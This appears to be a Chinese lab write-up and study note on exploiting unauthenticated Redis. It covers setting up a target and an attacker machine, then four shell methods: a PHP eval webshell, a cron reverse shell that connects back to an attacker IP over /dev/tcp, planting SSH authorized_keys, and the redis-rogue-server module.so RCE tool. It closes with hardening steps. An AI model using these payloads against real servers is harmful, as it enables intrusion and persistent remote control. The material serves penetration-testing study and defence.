一、redis环境搭建
Redis下载地址:http://download.redis.io/releases/redis-4.0.2.tar.gz
1.靶机安装redis-centos7
第一步:下载wget
yum -y install wget
第二步:下载redis
wget http://download.redis.io/redis-stable.tar.gz
第三步:解压redis
tar -zxvf redis-stable.tar.gz
第四步:解压后需要编译
make
make报错:make MALLOC=libc make distclean
第五步:进入src目录,将redis-server复制到/usr/bin目录下(这样启动redis-server就不用每次都进入安装目录了)
cp redis-server /usr/bin
第六步:将redis配置文件复制到/etc目录下
cp redis.conf /etc
第七步:启动redis服务器
redis-server /etc/redis.conf
1、yum -y install wget 下载wget
2、下载redis
wget http://download.redis.io/redis-stable.tar.gz
3、解压redis
tar -zxvf redis-stable.tar.gz
4、进入到redis-stable 目录后,使用make编译
5.、如果出现如下图所示提示 "Hint: It's a good idea to run 'make test' 😉",代表编译成功
6、进入src目录,将redis-server复制到/usr/bin目录下(这样启动redis-server就不用每次都进入安装目录了)
7、回到redis-stable将redis配置文件复制到/etc目录下
8、启动redis服务器redis-server /etc/redis.conf
2、攻击机安装redis-cli-kali
#下载redis
wget http://download.redis.io/redis-stable.tar.gz
#解压redis
tar -zxvf redis-stable.tar.gz
#进入redis-stable解压后需要编译
make
make报错:make MALLOC=libc make distclean
#进入src目录,将redis-cli复制到/usr/bin目录下(这样启动redis-cli就不用每次都进入安装目录了)
cp redis-cli /usr/bin
#常规连接指令
redis-cli -h 目标主机ip地址 -p 端口号
1、下载redis
wget http://download.redis.io/redis-stable.tar.gz
2、解压redis
tar -zxvf redis-stable.tar.gz
3、进入redis-stable解压后需要编译
4、如果出现如下图所示提示 "Hint: It's a good idea to run 'make test' 😉",代表编译成功
5、进入src目录,将redis-cli复制到/usr/bin目录下(这样启动redis-cli就不用每次都进入安装目录了)
cp redis-cli /usr/bin
6、常规连接指令
redis -cli -h 目标主机ip地址 -p 端口号
3、错误排查
现象描述:
使用namp探测端口,探测攻击机能否连接,通过测试发现,连接不上。
解决方法:
1、检查redis是否启动
ps -ef | grep redis
2、关闭防火墙,并永久性开启自禁止
systemctl stop firewalld.service #关闭防火墙
systemctl disable firewalld.service #并永久性开启自禁止
3、如果上面都没有问题,外部还是连接不上,修改/etc/redis.conf配置文件,设置如下
bind 127.0.0.1 ::1
bind 192.168.xx.xx #将服务器IP写入
protected-mode no #将yes改成no
4、重新启动一下redis,测试连接正常
redis-server /etc/redis.conf
二、redis漏洞原理
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作 。
三、拓扑图
四、redis四种getshell方式
1、直接写入shell脚本
1.1 前提条件
1、低版本或者enable-protected-config yes
2、知道网站绝对路径,并且需要增删改查权限
获取网站路径方式: 1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏
3、root启动redis
4、redis弱密码或者无密码
1.2 redis写入shell
命令:
redis:6379> config set dir /var/www/html/
redis:6379> config set dbfilename shell.php
redis:6379> set x "<?php phpinfo();eval($_POST['ant']);?>"
redis:6379> save
测试语句截图:
测试结果:
1.3 注意
133行no改为yes,只有这样才可以修改配置文件
如果不修改这一步,会报错
(error) ERR CONFIG SET failed (possibly related to argument 'dir') - can't set protected config
当然,如果你没有这一行,证明你的版本没有此保护,可以忽略这一步操作。
这是高版本redis的保护机制,所以目前redis未授权的反弹shell或是写入ssh都只能在低版本利用,同时反弹shell对系统要求也有限制,这里只成功在centos中复现成功。
2.定时任务写入反弹shell
2.1 在攻击机上监听888端口等待反弹shell
nc -lvp 888
2.2 在redis中写入定时任务
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.181.128/888 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
测试语句:
测试结果: 需要等待一段时间
3 写 ssh-keygen 公钥登录服务器
3.1 原理:
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起登录请求,发送自己的相关信息;
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。
3.2 条件:
1、Redis服务使用ROOT账号启动
2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
3.3 攻击机kali生成公钥
3.3.1 生成公钥
3.3.2 找到公钥文件
命令:
cd /root/.ssh
ls
cat id_rsa.pub
3.4 将公钥文件上传靶机上
redis-cli -h 192.168.33.134 #连接目标主机redis
config get dir #检查当前保存路径
config get dbfilename #检查保存文件名
config set dir /root/.ssh/ #设置保存路径
config set dbfilename authorized_keys #设置保存文件名
set xz "\n\n\n 公钥 \n\n\n" #将公钥写入xz健
save #进行保存
set xz "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB/xUoAg9JSLUpOmh9xT5wunGPlV7+zdMHhbiphccjDn8HqRjr0EddrI6hYymaj0rcj57PQHXy0TOUP44gnVQtE0il07XHOzwvY3Suz25FE0wjK1Pb8Vsw6wU6m/GBQGXSSsui9srVA4w39yH65t4mGXnNn6H2X74x8j6csoXeDNZTNpvXgKzTA8JiczyrkxhrTQ+iR7O2ysWNkxucZCE7weD8yEqLsSpJDk37VQPqsClyK+U7uqZWEsCFmXujK/sPHPhWQ6IgmgX7JoGTATkpCRVWQh5vowznHMw2pYdwsc30+CUCzrUvQ/i1V2k3DXpVW7iqS+DDKrXp/uXRjwzDVl2w4cdBnaxxEUWf18tmObMfmITOYB/w1CLjzbVHkrzAFUpmeuptNgDedon8+FYrWiy8R7HZ1TyN5ksQ0eQUXzAoW+48qYAF6GvZFMryevfUIzAaPf6h/n8X2hPRiiTav3z4BofHPQEVwk38QQguwoKixOkgbn20+4GBD5P9/DM= root@DESKTOP-GLKEQ3E \n\n\n"
测试语句:
3.5 利用私钥远程登录redis的22端口
ssh -i /root/.ssh/id_rsa root@xx.xx.xx.xx
3.6 服务器开启ssh
[root@host ~]# vi /etc/ssh/sshd_config
下面两行打开注释
PubkeyAuthentication yes
重启sshd服务
[root@host ~]# systemctl restart sshd.service
[root@host ~]# systemctl status sshd.service
4 Redis主从复制getshell
4.1 原理
Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。
4.2 条件
Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
redis弱密码或者无密码
root启动redis
4.3 攻击主机kail操作
kali下载利用工具https://github.com/n0b0dyCN/redis-rogue-server
wget https://github.com/n0b0dyCN/redis-rogue-server
交互式shell
python3 redis-rogue-server.py --rhost 192.168.181.89 --lhost 192.168.181.129 --exp module.so
根据提示输入i进入交互shell
反弹shell
python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
根据提示输入r,接着输入ip和端口进行反弹
ps:redis主从RCE打多了会出现redis瘫痪的情况,所以不到万不得已,尽量不要打主从
五、修复建议
1)禁止一些高危命令(重启redis才能生效)
修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"
2)以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis
3)为 Redis 添加密码验证(重启redis才能生效)
修改 redis.conf 文件,添加
requirepass mypassword
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
4)禁止外网访问 Redis(重启redis才能生效)
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。
5)修改默认端口
修改配置文件redis.conf文件
Port 6379
默认端口是6379,可以改变成其他端口(不要冲突就好)
6)保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
chattr +i ~/.ssh
7)设置防火墙策略
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。
学习记录
原文链接:https://blog.csdn.net/qq_56607768/article/details/130337729